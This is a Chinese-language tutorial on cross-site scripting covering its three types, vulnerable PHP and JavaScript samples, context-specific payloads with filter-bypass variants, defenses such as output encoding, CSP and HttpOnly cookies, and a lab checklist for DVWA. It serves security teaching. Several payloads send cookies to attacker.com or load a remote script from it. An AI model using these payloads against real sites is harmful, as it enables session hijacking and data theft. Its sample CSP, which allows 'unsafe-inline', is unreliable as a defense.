📚 XSS 跨站脚本攻击深度学习指南(完整版)

作者:[寒雨]
适用对象:Web 安全初学者、渗透测试学习者、前后端开发者
目标:从原理到实战,系统掌握 XSS 的识别、利用与防御
最后更新:2026 年 2 月


一、什么是 XSS?

XSS(Cross-Site Scripting,跨站脚本攻击) 是一种发生在客户端浏览器的安全漏洞。攻击者通过向 Web 应用注入恶意 JavaScript 代码,当其他用户访问被污染的页面时,该代码在其浏览器中执行,从而在当前网站域上下文下实施攻击。

🔑 核心本质

网站错误地将“用户输入的数据”当作“可执行的代码”处理。

⚠️ 关键前提

  • 浏览器无法区分“合法脚本”和“恶意脚本”;
  • 只要脚本出现在 HTML 文档中(或通过 DOM 动态插入),就会执行;
  • 执行权限 = 当前用户在该网站的权限(可读 Cookie、发请求、操作 DOM)。

二、XSS 的三种类型(深度解析)

维度 存储型 XSS 反射型 XSS DOM 型 XSS
别名 持久型 XSS 非持久型 XSS 客户端 XSS
存储位置 服务器(数据库、文件) 仅存在于 URL 中 仅存在于 URL(通常 #hash
是否需诱导点击 ❌ 否(访问即触发) ✅ 是 ✅ 是
服务器是否处理恶意代码 ✅ 存储 + 返回 ✅ 接收 + 反射回 HTML ❌ 不处理(前端 JS 自行读取)
典型场景 评论区、用户资料、消息系统 搜索框、错误页、跳转页 SPA 应用、前端路由、动态内容加载
危害范围 所有访问者 单次点击受害者 单次点击受害者
WAF 是否能检测 ✅ 可能 ✅ 可能 ❌ 很难(纯客户端)

2.1 存储型 XSS(Stored XSS)

工作流程
受害者 服务器 攻击者 受害者 服务器 攻击者 提交含恶意脚本的内容(如评论) 将内容存入数据库(未过滤) 访问该页面 返回包含恶意脚本的 HTML 浏览器执行脚本 → 攻击成功
示例代码(漏洞点)
<!-- 后端 PHP(危险) -->
<?php
$comment = $_POST['comment']; // 未过滤
mysqli_query($conn, "INSERT INTO comments (text) VALUES ('$comment')");
?>

<!-- 前端显示(危险) -->
<div class="comment">
  <?= $row['text'] ?> <!-- 直接输出,未转义 -->
</div>
攻击 payload
<img src="x" onerror="
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: document.cookie
  });
">
特点
  • 一次注入,多人受害
  • 常见于 UGC(用户生成内容)平台
  • 危害最大,易被用于蠕虫传播

2.2 反射型 XSS(Reflected XSS)

工作流程
服务器 受害者 攻击者 服务器 受害者 攻击者 发送恶意链接(如钓鱼邮件) 点击链接,携带 payload(?q=<script>...) 服务器将 q 参数原样嵌入 HTML 返回 浏览器执行脚本
示例代码(漏洞点)
<!-- 后端 PHP(危险) -->
<?php
$search = $_GET['q'];
echo "<div>搜索结果:$search</div>"; // 未转义
?>
攻击链接
https://example.com/search?q=<img src=x onerror=alert(document.domain)>
特点
  • 需社会工程学诱导(短链、伪装链接)
  • 服务器日志中可见 payload
  • 传统 WAF 可检测

2.3 DOM 型 XSS(DOM-based XSS)

工作流程
服务器 受害者 攻击者 服务器 受害者 攻击者 发送恶意 URL(含 请求页面(不带 返回干净 HTML(无恶意代码) 前端 JS 读取 location.hash 将 hash 内容写入 innerHTML → 执行脚本
示例代码(漏洞点)
<!-- 服务器返回的 HTML(完全干净) -->
<div id="content"></div>
<script>
  // 危险:前端 JS 不安全处理用户输入
  const userInput = location.hash.substring(1);
  document.getElementById('content').innerHTML = userInput; // 漏洞!
</script>
攻击链接
https://app.com/#<img src=x onerror=alert(1)>
✅ 如何确认是 DOM 型?
  • 在浏览器中 禁用 JavaScript 后访问链接:
    • 无弹窗 → DOM 型
    • 仍有弹窗 → 反射型
特点
  • 服务器完全不知情
  • 现代前端框架(React/Vue)若使用 dangerouslySetInnerHTML 仍可能中招
  • 自动化工具难以检测,需手动调试

三、XSS 的危害(不止是弹窗!)

攻击能力 技术实现 实际影响
会话劫持 窃取非 HttpOnly 的 Cookie 冒充用户登录
键盘记录 addEventListener('keypress', ...) 获取密码、银行卡号
伪造请求 fetch('/transfer', {method:'POST', body:...}) 自动转账、删数据
钓鱼界面 覆盖 document.body.innerHTML 诱导输入账号密码
浏览器后门 动态加载远程脚本:<script src="https://attacker.com/shell.js"> 持久控制
内网探测 尝试请求 http://192.168.1.1,根据响应判断服务 为后续攻击铺路
XSS Worm 自动关注+发私信+传播链接 快速感染大量用户

💡 注意:XSS 不能突破同源策略(SOP),只能操作当前域名下的资源。


四、XSS 检测详解(手动 + 工具)

4.1 检测思维:三步法

  1. 找输入点(Source)

    • URL: ?q=, #hash, &lang=
    • 表单: 用户名、邮箱、评论、搜索
    • Header: Referer, User-Agent(少见)
    • API: JSON 请求体(SPA 应用)
  2. 看输出位置(Sink)

    • HTML 标签内?<p>INPUT</p>
    • HTML 属性?<input value="INPUT">
    • JS 字符串?var name = "INPUT";
    • CSS/URL?(较少)
  3. 构造精准 payload(Context-Aware Payload)


4.2 分上下文 payload 构造(核心!)

场景 1:HTML 内容上下文
<div>欢迎,[INPUT]</div>
  • 基础 payload
    <script>alert(1)</script>
    
  • 绕过 <script> 过滤
    <img src=x onerror=alert(1)>
    <svg onload=alert(1)>
    <body onload=alert(1)>
    
场景 2:HTML 属性上下文
<input value="[INPUT]" />
  • 关键:闭合属性 + 注入事件
  • payload
    " onfocus=alert(1) autofocus="
    
    → 渲染后:
    <input value="" onfocus=alert(1) autofocus="" />
    
  • 其他事件onmouseover=, onclick=, onload=(配合 <img>
场景 3:JavaScript 字符串上下文
var username = "[INPUT]";
  • 目标:闭合字符串 + 执行代码
  • payload
    "; alert(1); "
    
  • 如果引号被转义"\"):
    \'; alert(1); //
    
  • 高级(ES6 模板字符串):
    ${alert(1)}
    
场景 4:URL 上下文
<a href="[INPUT]">链接</a>
  • payload
    javascript:alert(1)
    

4.3 Payload 分层测试策略

阶段 目的 Payload
1. 探测 确认输入是否反射 <test123> → 查看响应
2. 验证 确认可执行 JS <img src=x onerror=alert(1)>
3. 绕过 应对关键词过滤 <ImG SrC=x OnErRoR=alert(1)>
4. 编码 应对转义机制 &#x3C;img src=x onerror=alert(1)&#x3E;
5. 利用 实战数据窃取 fetch('https://attacker.com/steal?c='+btoa(document.cookie))

💡 替代 alert 的方法(防 WAF):

  • confirm(1)
  • print()
  • location='http://attacker.com/log'

4.4 DOM 型 XSS 专项检测

手动步骤:
  1. 打开 开发者工具 → Sources
  2. 搜索危险函数:
    • location.hash, location.search
    • .innerHTML, .outerHTML
    • document.write, eval
  3. 设置断点,观察数据流
  4. 在 URL 中注入 payload,看是否执行
工具推荐:
  • DOM Invader
    自动高亮 Source 和 Sink
  • Browser Console
    // 模拟攻击
    location.hash = '#<img src=x onerror=alert(1)>'
    

4.5 自动化工具

工具 用途 局限
Burp Suite Scanner 扫描反射/存储型 XSS 对 DOM 型效果差
XSStrike 智能 payload + WAF 绕过 需 Python
BeEF Hook 浏览器,高级利用 仅授权测试
Browser Console 手动调试 最灵活

⚠️ 自动化 ≠ 万能:复杂上下文、DOM 型 XSS 仍需手动分析。


五、XSS 防御(纵深防御)

5.1 输出编码(最重要!)

输出上下文 转义规则 示例
HTML 内容 <&lt;, >&gt;, &&amp; &lt;script&gt;
HTML 属性 还需转义 ", ', = value="&quot; onfocus=..."
JavaScript 使用 \x3C 或 JSON 编码 var x = "\x3Cscript\x3E";
URL encodeURIComponent() ?q=%3Cimg%20src%3Dx...

不要自己写转义函数! 使用成熟库:

  • JavaScript: DOMPurify
  • Python: html.escape()
  • Java: OWASP Java Encoder

5.2 安全 API 使用

危险操作 安全替代
element.innerHTML = userInput element.textContent = userInput
document.write(userInput) 避免使用,改用 DOM 操作
eval(userInput) 使用 JSON.parse() 或白名单

5.3 安全头配置

# 防止脚本执行
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' https://cdn.trusted.com;

# 防止 Cookie 被 JS 窃取
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Lax

# (已弃用,但可设为 0 防 bypass)
X-XSS-Protection: 0

💡 CSP 部署建议

  1. 先用 Content-Security-Policy-Report-Only 模式监控
  2. 逐步收紧策略
  3. 使用 noncehash 放行合法内联脚本

5.4 框架默认防护

框架 默认行为 注意事项
React JSX 自动转义 避免 dangerouslySetInnerHTML
Vue {{ }} 自动转义 避免 v-html
Django 模板变量自动转义 避免 `

六、靶场练习 Checklist(明日实操)

✅ 存储型 XSS

  • 在评论区提交:<img src=x onerror=alert(1)>
  • 刷新页面,确认弹窗
  • 尝试窃取 Cookie:<img src=x onerror="fetch('http://localhost:8000?c='+document.cookie)">
  • 验证 HttpOnly 是否生效

✅ 反射型 XSS

  • 在搜索框输入:<svg onload=alert(1)>
  • 观察 URL 和响应 HTML
  • 构造链接:https://dvwa.local/vulnerabilities/xss_r/?name=<img src=x onerror=alert(1)>
  • 用隐身窗口访问,确认触发

✅ DOM 型 XSS

  • 找到使用 location.hash 的页面
  • 访问:/#<img src=x onerror=alert(1)>
  • 禁用 JS 后再访问,确认无弹窗
  • 使用 DOM Invader 分析数据流

✅ 防御验证

  • 开启 CSP:script-src 'self',确认外部脚本被拦截
  • 设置 Cookie 为 HttpOnly,确认 document.cookie 读不到 session

七、常见误区澄清

误区 正确认知
“控制台能执行 = 有 XSS” ❌ 控制台是用户自身权限,XSS 需外部触发
“看到 alert 就是漏洞” ⚠️ 需验证是否由用户输入触发
“CSP 能 100% 防 XSS” ❌ 配置不当(如 'unsafe-inline')仍可绕过
“DOM XSS 不重要” ❌ 现代 Web 应用中占比超 60%

八、总结

  • XSS 的本质是 “上下文混淆” —— 数据被当作代码执行;
  • 三种类型各有特点,但防御核心一致:输入不过滤,输出必编码
  • DOM 型 XSS 是未来重点,前端安全不可忽视;
  • 安全是 纵深防御:编码 + CSP + HttpOnly + 安全开发习惯。

🌈 真正的安全,始于对每一行代码的敬畏。


九、延伸资源


更多推荐